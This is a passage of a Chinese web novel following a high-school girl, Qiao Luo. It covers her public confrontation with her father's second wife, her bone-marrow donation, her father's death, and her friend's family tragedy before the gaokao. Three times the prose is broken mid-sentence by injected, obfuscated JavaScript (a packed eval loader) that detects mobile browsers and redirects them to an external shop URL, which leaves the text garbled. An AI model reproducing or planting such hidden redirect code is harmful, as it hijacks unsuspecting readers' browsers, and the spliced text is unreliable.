他还带着寒假作业,多写点题就能多睡点觉…… 丁似霰在南菀二院出现的时候,余美兰很是震惊,她万万没想到这孩子竟然自己坐了一整天火车跑了过来。 乔洛又回到了她正常的生活作息:睡到中午起床吃饭、去姥姥家玩,吃晚饭、晚上回家心情好就写两笔作业。 还编了好几个小灯笼,红彤彤的看着很是喜气。 很快,就到大年三十了。 乔洛每年都是自己写的春联,然后再画上一个具有生肖特性的福字,今年是可爱的小福牛。 丁似霰走之前,还特意买了红纸,乔洛给他写了一副直接贴在了他家。那是真新鲜出炉,墨都没干透就直接上墙了。 云锦书给乔洛买了一件旗袍,红色的主体,领子上还点缀着黑色的兔毛。 乔洛穿上后,看着镜子里的自己不禁感叹,“嚯,好优雅。” 于是优雅的小姑娘就穿着这旗袍,翘着二郎腿在麻将桌上大杀四方。 随着春节联欢晚会上新年钟声的敲响,丁似霰的短信发了过来。 ——祝洛洛新春快乐。 乔洛飞速回了消息: ——快乐快乐,特别快乐。 己丑牛年到了。 51. 不速之客 龙抬头的那天,乔洛决定应个节气,晚上那两节自习课请假出去剪头发。 一人领头三人跟随,龙抬头这天,四个人都参与了这份热闹。 高三下学期是由数不清的考试组成的,美名其曰考多了就不会紧张了。 奉州市二模乔洛考了653名,一个很不错的成绩。杨可期排在了1597名,这个分数也是可以对南菀中医药大学发起冲击了。丁似霰的名次倒是有趣,1314名,无论是从寓意还是排名上来看都让人感觉还不错。许志看到自己排在2111名的时候直拍手叫好,他说他决定了,要去奉州理工学计算机,如今这个形式,计算机应该是个不错的领域。 一个平常又奢侈的周末,平常是因为确实已经又四周没放假了,奢侈则是因为这周末是缩水版的五一,有两天半的假期,足足比正常休息多了一整天。 学校门口,乔洛和杨可期商量着晚上去吃什么。 早就和云锦书还有杨若竹说过,今天晚上要去吃宵夜,不用来接她们。 “都快到夏天了,该去吃顿烧烤!”杨可期此刻对美食有着十二分的向往。 女孩们身后传来了丁似霰的声音:“带上我们两个小弟不?” “想跟着?”乔洛问道。 这宵夜自然是准备带着他们两个一起,不然怎么会和家长说不要来接。 “当然,给个机会?”丁似霰毫无形象地贱兮兮地笑着。 “你还真的是......”乔洛话还未说完,就被一个女人抓住了衣服。 女人毫无厘头的跪在地上,抓着乔洛的衣服哭喊着,让她救救她的,爸爸。 学校门口,有泉涌而出的高三学生,有接孩子放学的家长,有刚刚下班的老师,有卖着各种小吃的摊主,还有恰巧走到这里的路人。 很多人。 人类的本质大多都是八卦的。 渐渐的,人们都围了过来。 女人说,乔洛的爸爸快死了,白血病需要移植骨髓。 她说,无论发生什么乔连富也是乔洛的父亲,给了她生命,她不该不管不问。 她说乔连富现在很可怜,在病床上瘦得不成样子,要乔洛去给乔连富换骨髓。 杨可期、丁似霰和许志都不知所措地站在原地。 乔洛很平静,比任何人都像一个旁观者。 “你是谁?”乔洛问出了一个谁都没想到的问题。 她当然知道这女人是谁,能来撒泼打滚还提出那种无理要求让她去救乔连富的人,只能是他出轨的那个能给老乔家传宗接代光耀门楣的媳妇。 女人愣住了,随即又开始哭喊,“洛洛我是你妈啊,你怎么能这么多年都对我和你爸不闻不问的啊!” 女人边说边扯着乔洛的袖子。 校服,其实质量都是不大好的。那天的天气很热,乔洛上衣只穿了一件夏季校服短袖。拉扯间,肩袖的缝合处突然断了线,露出了乔洛的肩膀。 突然安静了,连看热闹的人们都一瞬间没了声音。 乔洛拒绝了丁似霰递过来的外套,有什么可掩盖的,坏就坏了,披上个外套也不会让这件短袖恢复如初。 她只是淡淡的看着女人。 “你,是乔连富的老婆,乔耀的母亲,与我什么关系都没有,别到处给人当妈,你不配。” 女人把乔洛的袖子直接扔在了地上,而后站了起来,从装可怜换成了一副指责的嘴脸:“后妈也是妈,就算你不认我,那乔连富可是你爹,你命都是他给的,现在他有病了,就算你不救也不能你看都不去看他一眼啊,这么多人都看着呢,给我评评理,就这么狼心狗肺的丫头,还考大学呢,考上大学能成什么样子,就是这个社会的耗子......” 乔洛拉着杨可期就往前走,不想再理女人。在这种公共场合,就是想让乔洛没有辩解的余地,她现在同意跟女人去看乔连富就是默认她之前对父亲不管不问,她不去就是没血没肉,她不理就是她真的淡漠亲情,反正怎么做都是错的。 可她确实根本就不知道乔连富怎么了,这女人来的莫名其妙。 女人追了上来,举起手想要扇乔洛耳光。 其实乔洛没有反应过来,以为要硬生生接这一下。 丁似霰一个箭步冲到乔洛身侧,伸手抓住了女人。 女人速度很快,另一只手伸出来,打向丁似霰。但她太矮了,只碰到了丁似霰的脖子。指甲,在丁似霰脖子上留下了两道红印,很快就渗出了点点血迹。 乔洛终于,发怒了。 她直接捏住女人的手,反向扭着她的手腕,让女人动弹不得。十六岁的孩子,周身却散发着阵阵戾气。 “别给脸不要脸,你们一家过你们的日子,从他找你当小三生儿子那天开始,我就和他再也没有任何关系了,抚养费是法律判定他必须给的,给多少是他自己自愿的,你要是有什么不甘你去起诉,我有的是时间陪你闹。 这么多年以来我都没和他见过一面,更谈不上什么亲情,”乔洛手上稍稍加了些力气,“我不希望再看到你们家任何一个人。 还有,给他道歉。” 女人一直在挣扎,却还是拗不过乔洛,“呸!我道什么歉!” 丁似霰拍了拍乔洛,“算了,你和她讲不明白道理,走吧。” “想抽就抽你儿子的骨髓,儿子可以传宗接代,难道不能救他那快死了的爹吗?”乔洛松开了女人的手,“滚!” 女人没有继续上去缠着乔洛,只是在原地哭诉着一些什么污秽之词。 乔洛听不清,也不想听。 “走吧,去吃烧烤,耽误了这么久,也不知道附近的店子里还有没有位置。”乔洛看起来倒是没有受什么影响。 “没有位置的话就去我家,我家烧烤的东西可是很齐全的,还有我这个天赋异禀手艺超绝的烤串师傅亲自掌厨。”丁似霰道。 许志把胳膊搭在了丁似霰肩上:“你小子,早有预谋,如实交代是不是肉串都穿好了?” “知我者,吾儿也。”丁似霰又占了许志一次便宜。 “牛肉串十串打底,我要吃穷你!”难得许志没有反驳,任由他占了这个便宜。 杨可期在一旁举起了手:“我想吃烤茄子!” 乔洛也点了菜:“我要吃烤金针蘑,烤的脆脆的那种!” “小姑奶奶们,得多吃肉,他都准备好了,一分钱不用花。”许志在一旁鼓动两个女孩和他一起吃穷丁似霰。 “肉串是必需品,素菜才是考验丁大厨手法的时刻。”乔洛道。 那天晚上,四个少年在小区楼下的小广场上烤串聊天,好不惬意。没有人提起刚才发生的不愉快,仿佛那只是一个平常的夜晚。 乔洛蹑手蹑脚地回家时,云锦书已经睡下了。 她洗了澡,换上睡衣,钻进了妈妈的被窝。 云锦书迷迷糊糊地搂过乔洛。 乔洛窝在云锦书臂间,小声问道:“妈妈,高考之后我就去改姓好不好?” “嗯?”云锦书本来已经睡熟了,如今也没清醒多少,“派出所不是不给改吗?等成年再说吧,也怪麻烦的。” “麻烦总比恶心强。” 这话乔洛是在心里说的。 乔洛一直很羡慕杨可期可以姓杨,她早在云锦书和乔连富离婚的时候就去过派出所咨询改姓的事情,奈何派出所要求父母都在场且同意,还要出示各种证件。 但乔连富不同意。 “我又不能给你们乔家传宗接代,你现在也有儿子了,为什么不干脆放了我?”十岁的小姑娘梗着脖子,仰头质问着乔连富。 “你永远是乔家的人。” 乔连富这话简直恶心至极。 第二天,云锦书就发现了乔洛坏掉的校服。 “他怎么能不要脸到这个地步?”云锦书也实在是没有想到会发生这种事。 “好啦,妈妈,我不是还有一件短袖吗,剩一个月就毕业了,够穿。” “我是怕他们再去找你,”云锦书对于自己择偶失败这点一直很自责,“以后我中午也去接你吧,就算她或者什么其他人再来,至少我在。” “妈妈,走一步看一步吧,乔耀不是小孩了,要抽也抽他的,”乔洛其实也不知道接下来应该做些什么,“再说,我不至于倒霉到真的跟他配型成功那个地步吧?” 走一步看一步的计划,只实施到了五月六日的下午。 晚饭时间乔洛在食堂听到了同学闲聊,有一个疯女人,昨天就堵在实验中学的门口咒骂,物理老师云锦书不顾亲情,阻止女儿救父亲。 昨天在,那今天呢? 大概还是在的吧,学校的保安只能保证她不会进学校。 乔洛想直接请假出学校,现在正是初中放学的时间。她和杨可期并没有找到石忠,乔洛让杨可期留在教室里,等老师来了,再去和老师说她溜了的事情。前两节晚自习是要上课的,她没办法溜的悄无声息。 杨可期想和她一起去。 “你是会打架还是会骂人?留在这里把我填的请假条给老师,老师没批假,我翻墙出去,就算我真在外面出了事,我也不想太连累老师和保安大爷,这是我自己的事情,”乔洛并不想因为她,连累任何人,况且她也不会出什么事:“马上毕业了,因为和我跑出去再挨顿骂,万一哪个缺德的再给你记个处分进档案,太亏了。” “那,有事电话喊我,至少我能给你撑个场面。” 那天,乔洛见到了很多人。 她下出租车的时候,正好看到了云锦书从校门里走出来,那女人扑了上去,用同样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908943|192437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的耍无赖的手法抓着云锦书。 其实至今为止乔洛也不知道这个女人叫什么,本以为不会再有交集的人。 “别再发疯了,我跟你去配型,配上了算乔连富命大,配不上,你以后就给我滚远一点。”乔洛突然感觉很累,不知道除了让步,她还能做些什么。 云锦书自然是不愿意的,但是,也没有什么办法。 这大概算是很不幸的,乔洛各项检查都很适合做乔连富的造血干细胞捐赠者。 “妈妈,别把错怪在你自己身上,这是我自己决定的,”第二天结束检查回家后乔洛和云锦书说道,“他们没有底线,到处撒泼,我们也没办法,这么闹下去不会消停的,还不如快点解决了。” “很遭罪的,妈妈真的不想你去。” “我也不想,但既然没啥办法了,妈妈就给我做点好吃的好好安慰安慰我吧!” “那你马上就高考了,现在去做这个手术,还怎么考?” “没事,又不是一个月什么都不学了。” 事实就是很无奈的,这么闹下去,姥姥会担心,妈妈的工作会受影响,而且,无论身在其中的哪个人,其实都没洒脱到可以对世俗的指责置之不理,所以乔洛也没得选。 云锦书也知道,只是确实人都很难脱离世俗,很多选择,没有其他选项。 乔洛对于那段记忆是很混乱的。 好像乔连富得的是哪种急性的白血病,越快换骨髓,活下去的可能性就越大。 当然也可能,会直接死在手术台上。 诶,巧不巧,乔洛延了将近两周的例假就在她抽完自体血之后,来啦! 乔洛跑去卫生间垫上了卫生巾后,心情愉悦地细致地洗了洗手,对乔耀和他母亲说道,“那能怎么办,让乔连富再熬一周呗,死了算他倒霉,等得起就算他命大。” 十天后,乔洛在学校收拾了一下桌子,带走了几本笔记,然后就直接住进了医院做术前检查,抽血、打针,每天无聊的要死。 云锦书还要上班,没法一直在医院陪着,毕业班的课也不能说丢下就丢下。 乔洛一直感觉老师的职业是不公平的,好像从她有记忆起,云锦书就很认真的对待每一届学生,但是人的耐心和经历都很有限,学生分走了一些,所以乔洛得到的就少了一些。 但是长大了后她和云锦书聊过这个问题,妈妈也很认真的改正了,随着年岁的增长,乔洛也懂得了责任,她渐渐感觉,教师是一个很伟大的职业。 云锦书想请假的,但乔洛把她赶去上班了。 “妈妈你不上班哪来的工资等我考试之后带我去吃大餐?” 其实,她是不想云锦书留在医院埋怨自己。忙起来,就没有太多心思像乱七八糟的事情。 住院的第一天晚上四人组的剩下三个人就去医院了。 他们三个竟然还买了果篮。 “我还没啥事呢,现在送果篮不是早了点?”乔洛说着,剥开了一根香蕉,“挺甜的哈!” “果然是属猴的。”丁似霰也扯下了一根。 “那咱们三个是不是应该去吃草啊?”杨可期道。 丁似霰从书包里掏出了一个七阶魔方,每个面还都有不同的图案,“光哥手绘限量版,给你在医院消磨时间玩。” “你现在不是应该像电视剧里一样,帮我补习功课吗?怎么还给我带玩具。” 三个人格外同步地从书包里各掏出了一摞卷纸:“请您笑纳!” “要不,你们还是快点回家睡觉吧,”乔洛捂住了眼睛:“把卷纸也拿走。” 那段时间,平静又无趣,但是过得倒也不算痛苦。 杨可期会在课间给她打电话,说一说学校里发生了什么鸡毛蒜皮的新鲜事。 晚上睡觉前丁似霰会和她发几条消息,然后说晚安。 许志给她发过几条彩信,抓拍了丁似霰的丑照……害,其实也不丑,可爱得很。 丁似霰说手术那天会来陪她,直接和学校请假就好。 其实他也陪不了什么,只能在外面走廊里和云锦书大眼瞪小眼,乔洛想想就感觉一定很好笑。 打针挺疼的,但是乔洛一直在和云锦书说没什么感觉,还不如小时候被蜘蛛咬的疼。 感觉每天都在打各种针。 其实乔洛身体一直都很好,从小除了偶尔感冒吃几片药以外根本没生过其它病,打的针也只有疫苗,这一次算是打够本了。 乔洛看着针眼,真该死,留下了这么多疤。 手术前一天,乔家的老太太过来找乔洛。 她说,乔连富想见乔洛一面。 倒确实,这么些天以来,乔洛未曾想过去见乔连富,也无人和她提起这件事。 她如今,倒已经记不大清这个父亲的模样了。 52. 噩耗 乔洛去了,她说不清为什么。 厌恶是真,但做不到当一个陌生人,也是真的。 乔连富确实已经很瘦了,一眼看去感觉动一动就会散架。 “之前一直想要儿子,现在儿子没用了吧?”乔洛一进门,就先挖苦了他几句:“儿子可救不了你的命,要不然你再去做个亲子鉴定?配型差这么多,说不定不是你的嘞。” 病房内很安静,只有医疗器械规律的滴滴声以及,乔连富虚弱又粗重的喘息。 乔洛瞬间感觉,挖苦一个没什么精气的病人,着实无趣。 “其实回想起来,你也没对我做过什么,当然,除了那次骑车为了避开你的宝贝儿子,把我摔了,”乔洛在病房门口看着乔连富:“这次以后,我也就算是把那一半命还你了,是不是我们也可以不再联系了。” 乔连富靠坐在床上,声音很小,站在门口的乔洛只能看见他的嘴在动,听不到说的是什么。不得已,乔洛凑近了些,站到了床边。 乔连富从抽屉里拿出了一个存折,递给乔洛:“里面有五十万,我知道也不算多,但是现在确实爸爸也没那么有钱了。” 五十万,对于普通家庭算笔巨款,至少可以买三所乔洛和云锦书正在住的那种房子。 乔洛没有接,她拉了个椅子过来,坐在乔连富床边,“这算什么,在我这买骨髓的钱?” “你高考,给你的毕业礼物,爸爸也不知道还能不能看到你上大学了,”乔连富的声音与乔洛记忆里的不同,此时他说话的声音很轻,看来确实,病得很重。 “你还知道我马上高考?”乔洛感觉在这个时候说这种话,很可笑:“你那个媳妇去我学校门口闹的时候你在干什么?现在过来装好人了?” 乔连富沉默了许久,才又开口:“我,我其实真的没有让章琪去找你……” “对,好人好事都是你,当初也是他们娘俩自己跑到街上自作主张企图上位的,你有什么错,你就是管不住自己裤子,说脱就脱了是吧?” 这病房里的椅子竟然是有靠背的,真会享受。 乔洛靠在椅子上,俨然也没有了刚刚小嘴萃毒的气势:“我一向认为,高考也只是场考试,和许多事比起来,算不得重要。 你说,为什么每次都非要闹得这么难看呢?你要是好好和我说,我也不一定会拒绝。” 或许是人受了病痛折磨之后,变得更良心了?乔连富没有再给自己找任何借口,只说着对不起,说他对不起乔洛,那歉意看起来竟还带了些真情实感。 “乔连富,我小时候你也没亏待过我,你们离婚之后我和你也没有联系但你确实抚养费给得很大方。 在那女的来找我找我妈撒泼之前,我虽然怨但也不恨你。” “你……能再叫我一声爸爸吗?” 乔洛看着病床上的人,很难理解他到底在想什么。 所谓的父女温情,当初他不要了。现在这幅样子又做给谁看。 “你们乔家不是不需要女儿吗?” “洛洛,爸爸错了……” “你没错,你只是想要个儿子而已,家大业大的需要一个带把的传宗接代,你有什么错。” “……”乔连富没有再说话。 客观来讲,乔连富不是那种十足的坏人——他只是封建余孽罢,非要个儿子传宗接代的封建余孽。 女儿和前妻,他有愧,虽然仅仅是偶尔会愧疚一下。 他选择给了很多抚养费。 所以乔洛从小过得也很富足。 乔连富也真心爱过这个女儿。 在乔洛为数不多的儿时记忆里,也曾有那么几次,是在人潮涌动的灯会上,她手里拿着刚买的蜜枣糖葫芦,骑在父亲脖子上,越过重重人海,看到了琳琅满目的彩灯。 乔洛五岁前,每年她的生日还会有一张全家福,似乎三个人的笑容那时都是真心的,哪怕云锦书和乔连富之间只是搭伙过日子的感情,但两个人对女儿的爱当时都是真实的。 乔洛静默了一会,才继续说道:“每个人都想活着,我不怪你。我对你的情感真的很复杂,但我知道,我好像,没那么希望你死掉。 有的时候我不得不感叹基因的强大,我骨子里带着的,和你的自私以及趋利避害没什么区别,哪怕我一直和我妈在一起,哪怕我妈这个人真的很……算是无私吧,但我始终学不会。 就像,你真的很对不起我妈,但是你给我的钱很多,与我而言你很有用,所以我其实并不恨你。” 乔连富这个人,确实也不是好人。 但就像乔洛所说,他其实没有亏待过乔洛。他做点小生意,不算大富大贵,但也从不拮据,乔洛的物欲不强也与此有关,因为从有记忆起便是她想要什么乔连富都会给她买,当然,乔洛也从来没想要过什么奢侈的物件。 爱吗?乔连富对这个女儿也是有父爱的。 只不过不知不觉的,那份爱不见了。 乔连富的那份真心太易碎,也太短暂。 如今想来,大概是早就有了苗头,在外面养了个“外室”。 人性总是割裂的,乔连富不完全是恶,但善也不多。 乔洛可以接受封建社会的恶臭残留,重男轻女也没什么,几千年了都这样,指望着现代社会高喊几十年的男女平等就把人们的观念改过来,纯属做梦。 但是出轨是他的错,非要弄成如今这么难看也是他的错。 他们离婚的时候财产的分配都是签了协议的,云锦书也没有把他们的丑事挑明,留足了面子。 后来这些年互不打扰,其实挺好的。 回学校收拾东西的那天,乔洛和丁似霰旷了晚上的自习课,不知道老师们是没看到,还是放了一次水,并没有管他们。 他们在操场上坐着望天,是个阴天,看不见星星也看不见月亮。 “我还没具体和你讲过,我家这些陈芝麻烂谷子的破事。”乔洛先开了口。 “确实,那现在想讲讲吗?” “小时候啊,很小的时候了,还是幼儿园的时候,我有点印象,他还经常陪我玩,把我举高高或者是骑脖颈,都做过。 小时候喜欢芭比娃娃,家里一大堆,当然,变形金刚和奥特曼我也有很多,就是那些东西后来不是缺胳膊少腿就是变成路易十六了。 还有那些积木,现在人叫那东西乐高了是吧?反正也有很多,后来拼腻了,不爱玩了我就把零件装进垃圾桶里面,放到柜子里,装了整整六桶。 当然啊,是新的垃圾桶,还没装过垃圾的那种,我也不知道我为什么有这种癖好,我至今为止还是很喜欢用新的垃圾桶存东西。 虽然一直知道他想要个男孩,总是听说老乔家四代单传,在我这里绝了后,但确实,我小时候他对我很好。 我不记得什么时候了,可能因为这种转变不是突然之间。我见他的次数越来越少,他也不再带我玩。 说是生意忙。 有一天,很难得他骑车带我去买水粉。我记得那天的天气很好,刚开春,不算很冷,很难得没刮风,柳絮也还没开始飞。 本来一切都很好,我那时还在和他说着我刚刚得了一个国家级的金奖。马上到那个文具店的时候,不知道从哪里闪出来一个孩子,追着车喊爸爸。 后来,他为了躲开那孩子,不让他伤到,把车开的七扭八歪的。之后就把我摔了。” 乔洛挽起裤腿,露出了那个奇怪的疤痕,其实看起来,真的很像乔洛当初说的,是被什么咬了。 “乔耀,那个小屁孩当时还很小,走路都走不稳,连滚带爬过来咬我一口,我也不知道他妈到底是怎么训练的他,刚长出来的小破牙那么有劲,我一度怀疑过需不需要打狂犬疫苗。 乔连富出轨了,和我妈离了婚,和乔耀还有乔耀的妈又结了婚,自那之后我和他再没有过联系。” 丁似霰看着乔洛腿上的疤,伸出了手,却停在空中:“我……可以碰吗?” 乔洛点点头。 他的手很热,抚在皮肤上痒痒的。 乔洛看着眼前这个婴儿肥都没有完全褪去但已经长了一副勾人的帅气面孔的少年,不禁想,再过个四五年,棱角更分明些,他该有多拉风。 他眼眶有些红,也不知道是想到了什么。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908944|192437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“所以,你不喜欢穿裙子吗?”丁似霰问道:“夏天的时候我好像也没见过你穿裙子。” “那倒不是,我单纯感觉裙子太短了不方便,不适合我上蹿下跳,”乔洛放下裤腿:“等毕业典礼的时候吧,我穿小裙子找你合照,我前段时间买了一套很漂亮的小裙子。” 乌云不知道什么时候散开了些,月光透过云的缝隙稀稀疏疏撒落下来,照在少年人的身上。 风温柔地吹着,就像是企图吹走哪怕一丝丝愁绪。 第二天,乔洛等了将近一个小时,也没有等到丁似霰,短信不回,电话也一直关机。 算了,来不来的又不会有什么影响。 乔洛向云锦书如同报菜名一样说了很多好吃的,等抽完骨髓出来都要去吃。 虽然她根本不能立刻吃太油腻的东西,但是憧憬一下总归是美好的。 好漫长。 感觉过了半辈子一样。 乔洛离开手术室的时候外面已经下起了大雨,天阴森森的。 她直接投进了云锦书的怀抱,终于结束了。 乔洛撒够了娇,才抬头看到杨可期和杨若竹在一旁一直在看着她。 杨可期还抱着一束用零食绑成的花束。 乔洛又把脸埋进了云锦书怀里,“好丢人啊……” 乔连富并没有延续他的寿命,他死在了手术台上。 乔洛听到这个消息的时候正在啃大棒骨,她看起来没什么波澜。 她确实也没什么波澜,说好了自此以后做个陌路人,乔连富是死是活,与她都无关。 可能还是有一点触动的吧,但是她也不想去承认。 没过多久,乔洛接到了许志的电话。他简单慰问了一下乔洛的情况,就和她说了丁似霰发生了什么。 丁似霰的父母,出了车祸,在郊区没有监控的小路上和另一辆大货撞在了一起。丁国辉、对面车的司机都已经去世了,余美兰还在抢救。 没监控,现场痕迹也很混乱,所以似乎还没有认定责任。 是在南菀出的事情,丁似霰现在,大概已经下了飞机。 原来,在医院办出院手续的时候,听到护士们说的很严重的交通事故,是他们。 会有多惨烈,短短几个小时跨过了两千多公里,消息传到了新柳。 “早上的时候他本来都已经请好假想去找你了,还没出办公室的门,班主任就接到了警察的电话。” “他……还好吗?”乔洛不知道该说些什么,可能因为无论怎么说这也是事不关己,她第一反应竟然是最坏的结果,丁似霰能不能赔得起另一家的损失费,以及后续他妈妈的治疗他该怎么承担。 “我不知道,他看起来很冷静,立刻就打车去了机场,出学校之前就和我说让我帮他跟你道个歉,然后我就一直没有打通他的电话了。” 乔洛叹了口气,“也帮不上他什么,或许吧,晚上他就能回电话了。” 乔洛不知道她现在能做什么,或许她确实什么都做不了。 云锦书听说了这件事情,有些感慨,但是当了近二十年老师,见过很多苦命的孩子,倒是也不会过于惆怅。 但,云锦书主动向乔洛开了口。如果有需要,无论是经济还是人力上,帮一帮丁似霰。 云锦书看得出,这丁似霰不是个普通同学,他怕是早就被洛洛放在了心尖上。 晚些时候,乔洛接到了丁似霰的电话。 她接通电话的时候,急切却不知为何有些慌乱。 “抱歉啊洛洛……”丁似霰先开口的,竟是歉意。 乔洛不知道该说些什么,只说出了一句干巴巴的问候,“你……怎么样了?” 他似乎想了很久,才开口:“还好,也没什么要忙的。” “……阿姨呢?” 丁似霰停顿了许久,才说道:“还不太稳定,但……最好的情况就是植物人了。” “我,我能,帮你点什么吗?” “我没事,就……等我妈情况稳定下来,我再回新柳……”丁似霰深深吸了一口气,似乎是在压制某些难以掩盖的情绪:“给我爸下葬。” 53. 离别 乔洛有一种,想立刻飞去南菀的冲动。但很显然这个冲动并不是太可行。 “你什么时候回来告诉我,我,去接你?” “不用了,好好休息准备考试吧。” 两个人都没有再说话,电话也没有挂断。 乔洛抬头望着天,今天是个阴天,月亮看起来灰蒙蒙的,若隐若现。 她过了许久,只说出了两个字:“保重。” “嗯,”丁似霰应了一声:“晚安。” “晚安。” 自那天之后,乔洛每天看着手机,那个她想看到的对话框却再也没有更新。 她也不太敢发消息,他那里,大概也是很煎熬的吧。 乔洛没有去参加乔连富的葬礼。 他们乔家,又不缺这一个没有任何作用的女娃娃。 不过出乎乔洛的意料,乔连富竟然提前立了遗嘱,他名下一半的财产都留给了乔洛。 这人真的很烦,他不如坏得彻底一些。乔洛不清楚他是想以此让乔洛一辈子都惦记着那点亲情,为乔耀留一个依靠,还是真的单纯良心发现。 一周后,丁似霰依旧没有任何消息,许志也和他没有联系。乔洛还是忍不住,发了条短信过去。 ——余阿姨怎么样了? 她删删减减很多次,最后还是决定就这样发过去吧,实在不知道该说些什么。 没有回复,三十几个小时后也没有回复。 他从不会这样的。 ——你还好吗? 依旧没有回复。 乔洛拨通的电话,竟然是关机。许志也没有联系到丁似霰。 ——在哪个医院?我明天考完试去南菀找你好不好? 还是,没有任何回信。 ——和我说个地址呗,今天还有趟飞机,我这就去南菀好不? 消息依旧石沉大海,乔洛还是联系不上丁似霰。 三模结束了,乔洛刚刚离开考场就准备直接去机场。 那个不大可行的冲动。 她依旧不知道丁似霰在哪里,但脑子里只有一个想法——去南菀,找丁似霰。 就在乔洛站在校门口准备打车的时候,那个她盼了许久的对话框终于更新了。 ——别来,你自己不安全,我后天就回去,手机坏了刚修好。 乔洛看到消息后喃喃自语:“有什么不安全的,九月份开学还不是要我自己走。” 乔洛再见到丁似霰,距离高考只剩下不到十天了。 按照丁似霰说的,他应该是昨天回的新柳,那今天该来上学了。乔洛下了早自习,就在四班后门处鬼鬼祟祟透着五班前门的窗户搜寻丁似霰的身影。 没来?怎么没看到呢…… “啊!”突然有人从后面拍了乔洛的肩膀,还好乔洛有意识,这是在教学楼里,并没有叫得太大声。 回过头来,乔洛的目光就对上了丁似霰的眼睛。 “小洛洛怎么像做贼一样?” 丁似霰瘦了很多,也有了明显的黑眼圈,少年青涩的脸上隐约长了些胡茬。 “啊……我……”乔洛一时语塞。 “对不起啊,答应了陪你,食言了,”丁似霰先道了歉。 乔洛没有理他这奇怪的歉意,而是抓起了他的手,“这是多少个针眼?你怎么了?” “没,没事,我……我没什么事,”丁似霰抽回他的手,又放在了背后,“就是低血糖。” “低血糖需要打针?”乔洛不太相信这个说法,杨可期低血糖吃块糖或者喝口饮料就可以了啊,“而且你这手腕上也伤了,到底出什么事了?有人为难你?” “……”丁似霰没回答,他和乔洛就这么对视了几秒,好像很多话想说,但又什么都没说,“回去吧,快上课了。” 预备铃非常不合时宜的按时响起,乔洛只好“哦”了一声,拐回了四班。 她当然不是被铃声恐吓了,只是乔洛能感觉到,丁似霰似乎不太想说那些事。 剩下的几天里,丁似霰很少离开他的座位,似乎是在很努力地刷着错过的习题。 乔洛也只会偶尔在经过门口的时候,放慢脚步,看看他,然后再走开。 那种感觉乔洛从未有过,似乎是一种很奇怪的疏离。 但她有一种很不祥的预感…… 高中生活的最后一天大课间,乔洛直接走进了五班,蹲在丁似霰桌子边问道:“陪我去外面转转?之前说要感受一下学长学姐们在笑什么,还一次没去过。” 丁似霰看着乔洛,却迟迟没有回答。 乔洛今天扎着侧麻花辫,同高一他们第一次有交集那时一样,就连长度都相差不多。 她还是那样吊儿郎当地蹲着,一只手柱在膝盖上撑着头,一脸的期待。 丁似霰扶起乔洛,点了点头:“走吧。” 站在四楼的外接阳台,远远望去,大理石广场上好像两圈小蚂蚁分成了三十六个方阵在跟着音乐慢慢蠕动。 “是挺好玩的,怪不得每年这时候都一直有人站在这里看热闹。” 乔洛的麻花辫已经有些松了,她微微侧着头,散下来的发丝正好遮住脸。 她趴在阳台边,看起来是在眺望广场上的学弟学妹,却已经垂着眸,掩盖眼底的酸涩。 丁似霰站在乔洛身旁,声音略微有些哑:“嗯,看来去年你猜得很准。” 去年,从未想过这会是一个很遥远的时间计量单位,但如今是真的感觉,过去了好久。 乔洛犹豫再三,还是问出了这几天一直萦绕在她脑中的问题:“毕业典礼,还能找你拍照吗?” 丁似霰自嘲般摇着头笑了笑,“考完试,我收拾好家里的东西就去南菀。有个托管班,给的还是挺多的。” 乔洛深吸了一口气:“……那我以后,还能见到你吗?” 丁似霰没有说话。 “真是个大骗子,”乔洛转过身,露出了一个有些释然又苦涩的笑容,“至少考试还能见面,咱俩都在隔壁楼,我四楼你二楼。” “嗯。”他只是点点头。 乔洛抻了个懒腰,“苍天无眼哦,最后一次在这个学校里面做题竟然还给我安排在了最高层。” 北方六月的天本就不算太热,又刚刚下过雨,清风吹过竟让人打起了寒战。 乔洛从口袋里掏出了一根黑色的记号笔,然后又脱下外套,一起递给丁似霰,“来吧,光哥给我签个名。” 她指着左襟胸口的位置,“写这里。” 乔洛在丁似霰校服同样的位置,写了一个规规整整的“洛”字。 丁似霰的外套穿在身上,乔洛没有连笔,而是每一笔都很重的,一笔一划写着字,用丁似霰的胸脯当着人肉垫板。 估计笔墨会透过外套浸到丁似霰里面的短袖上,又或者这墨穿透力再强一点,会蹭到他皮肤上。 那咋了!乔洛就是想透过去。 至少,在他们的青春时代,是把彼此放在了心上的。 第一科语文考试,乔洛右手边坐着的人,一直在擤鼻涕咳嗽卡痰。乔洛写完卷纸,又检查了两遍,确认没有奇怪的错误后,就连忙交了卷纸。 一想到还要和那人在一个考场里考三节,乔洛就有一种小命危矣的感觉。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 